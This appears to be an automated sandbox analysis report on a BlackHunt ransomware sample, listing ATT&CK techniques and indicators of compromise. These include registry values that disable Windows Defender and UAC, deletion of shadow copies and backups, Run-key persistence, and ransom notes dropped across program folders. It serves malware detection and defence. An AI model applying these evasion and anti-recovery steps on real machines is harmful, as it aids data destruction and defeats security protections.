344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e

Data Destruction

T1485

pid	Process
1500	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
500	bcdedit.exe
3144	bcdedit.exe

Renames multiple (744) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1708	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\R:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\P:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\H:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\L:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\N:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\Y:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\K:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\Q:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\E:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\J:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\V:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\M:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\W:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\S:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\O:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\A:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\G:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\Z:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\X:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\B:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\U:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\wa\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\custom.lua	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\jamendo.luac	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_extractor\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\MoreTools.aapp	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\MeasureTrace.cmd	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\default.jfc	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\01_googleimage.luac	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\cacerts	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\management.properties	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\MSBuild\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\twitch.luac	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm.html	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\ExpandRestart.jfif	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_fr.properties	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\README.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\sd\icecast.luac	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_CN.properties	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
468	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4356	vssadmin.exe
1428	vssadmin.exe
5040	vssadmin.exe
4876	vssadmin.exe
820	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeRestorePrivilege	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeBackupPrivilege	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeTakeOwnershipPrivilege	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeAuditPrivilege	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeSecurityPrivilege	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeIncBasePriorityPrivilege	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeBackupPrivilege	2696	vssvc.exe
Token: SeRestorePrivilege	2696	vssvc.exe
Token: SeAuditPrivilege	2696	vssvc.exe
Token: SeBackupPrivilege	3024	wbengine.exe
Token: SeRestorePrivilege	3024	wbengine.exe
Token: SeSecurityPrivilege	3024	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 1076	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	89
PID 5008 wrote to memory of 1076	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	89
PID 5008 wrote to memory of 2388	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	91
PID 5008 wrote to memory of 2388	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	91
PID 5008 wrote to memory of 4820	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	93
PID 5008 wrote to memory of 4820	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	93
PID 5008 wrote to memory of 3332	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	95
PID 5008 wrote to memory of 3332	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	95
PID 5008 wrote to memory of 3160	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	97
PID 5008 wrote to memory of 3160	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	97
PID 3332 wrote to memory of 1608	3332	cmd.exe	103
PID 1076 wrote to memory of 4040	1076	cmd.exe	176
PID 3332 wrote to memory of 1608	3332	cmd.exe	103
PID 1076 wrote to memory of 4040	1076	cmd.exe	176
PID 4820 wrote to memory of 2292	4820	cmd.exe	102
PID 4820 wrote to memory of 2292	4820	cmd.exe	102
PID 2388 wrote to memory of 2564	2388	cmd.exe	101
PID 2388 wrote to memory of 2564	2388	cmd.exe	101
PID 3160 wrote to memory of 1160	3160	cmd.exe	100
PID 3160 wrote to memory of 1160	3160	cmd.exe	100
PID 5008 wrote to memory of 4244	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	104
PID 5008 wrote to memory of 4244	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	104
PID 5008 wrote to memory of 3512	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	106
PID 5008 wrote to memory of 3512	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	106
PID 5008 wrote to memory of 4044	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	108
PID 5008 wrote to memory of 4044	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	108
PID 5008 wrote to memory of 936	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	110
PID 5008 wrote to memory of 936	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	110
PID 4244 wrote to memory of 1416	4244	cmd.exe	112
PID 4244 wrote to memory of 1416	4244	cmd.exe	112
PID 5008 wrote to memory of 4892	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	114
PID 5008 wrote to memory of 4892	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	114
PID 5008 wrote to memory of 1140	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	117
PID 5008 wrote to memory of 1140	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	117
PID 3512 wrote to memory of 1644	3512	cmd.exe	116
PID 3512 wrote to memory of 1644	3512	cmd.exe	116
PID 5008 wrote to memory of 1092	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	183
PID 5008 wrote to memory of 1092	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	183
PID 5008 wrote to memory of 2536	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	191
PID 5008 wrote to memory of 2536	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	191
PID 936 wrote to memory of 3360	936	cmd.exe	122
PID 936 wrote to memory of 3360	936	cmd.exe	122
PID 5008 wrote to memory of 2696	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	200
PID 5008 wrote to memory of 2696	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	200
PID 4044 wrote to memory of 1724	4044	cmd.exe	126
PID 4044 wrote to memory of 1724	4044	cmd.exe	126
PID 5008 wrote to memory of 3208	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	127
PID 5008 wrote to memory of 3208	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	127
PID 1092 wrote to memory of 208	1092	Conhost.exe	129
PID 1092 wrote to memory of 208	1092	Conhost.exe	129
PID 5008 wrote to memory of 4972	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	131
PID 5008 wrote to memory of 4972	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	131
PID 2536 wrote to memory of 1988	2536	cmd.exe	130
PID 2536 wrote to memory of 1988	2536	cmd.exe	130
PID 1140 wrote to memory of 1848	1140	cmd.exe	132
PID 1140 wrote to memory of 1848	1140	cmd.exe	132
PID 5008 wrote to memory of 2216	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	134
PID 5008 wrote to memory of 2216	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	134
PID 5008 wrote to memory of 4108	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	139
PID 5008 wrote to memory of 4108	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	139
PID 4892 wrote to memory of 2988	4892	cmd.exe	137
PID 4892 wrote to memory of 2988	4892	cmd.exe	137
PID 5008 wrote to memory of 2072	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	135
PID 5008 wrote to memory of 2072	5008	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	135

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Uses Task Scheduler COM API 1 TTPs
